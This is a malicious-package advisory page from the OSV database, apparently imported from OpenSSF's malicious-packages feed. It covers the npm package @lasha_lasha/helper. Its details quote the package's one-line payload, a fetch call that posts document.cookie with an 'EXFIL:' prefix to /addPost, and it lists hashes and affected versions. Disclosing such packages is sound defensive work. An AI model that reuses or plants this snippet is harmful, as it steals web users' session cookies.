MAL-2026-20191

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@lasha_lasha/helper/MAL-2026-20191.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-20191
Published
2026-11-19T06:54:04Z
Modified
2026-11-19T07:15:08Z
Summary
Malicious code in @lasha_lasha/helper (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (385a7c95f6e587dbef7b67326deebf63c291094b305f0e96cfada0d9c364b3f5)

The package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated.

Database specific
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-022869",
            "import_time":  "2026-11-19T07:12:43.10991787Z",
            "modified_time":  "2026-11-19T06:54:04Z",
            "sha256":  "385a7c95f6e587dbef7b67326deebf63c291094b305f0e96cfada0d9c364b3f5",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @lasha_lasha/helper

Package

Name
@lasha_lasha/helper
View open source insights on deps.dev
Purl
pkg:npm/%40lasha_lasha/helper

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "index.js",
            "sha256":  "b0c235c41ac90cbe86f5a41e2e6726ee46c4fea20fce05f56e9b9ac0e46ba4f7",
            "tlsh":  "dbc08ce669194c02af7ee416297ca0a416380c1ca00768918880044d0ace6484934830"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "helper-1.0.0.tgz",
            "hashes":  {
                "sha1":  "ab6ad387a28017f7ad1a0f02d8536292f5d465ef",
                "sha512_sri":  "sha512-Cefrp334ieGCt3k5ERKXq7MEG03BdFb2P/zNdtCXbzzN53ru2MhnosJPCcsWUuyjDBMqekoQPh8iZFrCH3GBrQ=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@lasha_lasha/helper/MAL-2026-20191.json"